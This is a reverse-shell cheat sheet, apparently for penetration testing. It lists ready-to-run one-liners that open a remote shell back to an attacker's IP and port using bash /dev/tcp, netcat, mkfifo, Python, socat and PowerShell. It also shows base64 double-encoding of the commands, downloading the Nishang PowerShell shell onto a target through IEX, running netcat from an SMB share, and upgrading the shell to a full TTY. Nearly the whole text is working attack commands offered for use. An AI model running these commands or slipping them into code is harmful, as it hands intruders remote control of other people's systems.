Reverse Shells

Reverse Shells

Reverse Shell Generator

https://www.revshells.com/

Bash

bash -i >& /dev/tcp/<ip>/<port> 0>&1

It is recommended to encapsulate the command in a bash -c '' to prevent issues with the /dev/tcp bash functionality.

We can encode the content in base64, to avoid conflicts with symbols and spaces in URLs. Additionally, to prevent any "+" characters from appearing, we can use double encoding.

# Get the encoded command
echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" | base64 | base64

# Execute the reverse shell
echo <b64_code> | base64 -d | base64 -d | bash

Netcat

nc -e /bin/bash <ip> <port>

Mkfifo

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f

Python3

i="<ip>" p=<port> && echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('$i',$p));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('bash')" | python3

Socat

socat tcp-connect:<ip>:<port> exec:/bin/bash,pty,stderr,setsid,sigint,sane

PowerShell

Base64

# Get the encoded command
echo '$client = New-Object System.Net.Sockets.TCPClient("<ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | base64 -w 0; echo

# Execute the reverse shell
powershell -e <b64_code>

Nishang

Run this on your local machine:

i="<ip>" p=<port> && curl -sL https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -o rs.ps1 && echo "Invoke-PowerShellTcp -Reverse -IPAddress $i -Port $p" >> rs.ps1 && python3 -m http.server 80

And while running the python http server, execute this on the target:

powershell "IEX(New-Object Net.WebClient).downloadString('http://<ip>/rs.ps1')" 

Netcat

Locate "nc.exe" and copy it to your current directory, then run this on your local machine:

smbserver.py <share_name> $(pwd) -smb2support

And while running the smb server, execute this on the target:

\\<ip>\smbShare\nc.exe -e cmd <ip> <port>

Interactive TTY

It is also possible to use rlwrap when starting your listening socket:

rlwrap -cAr nc -nlvp <port>

script /dev/null -c bash

or

python -c 'import pty; pty.spawn("/bin/bash")'

and then

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <cols>  # Check size in another window -> stty size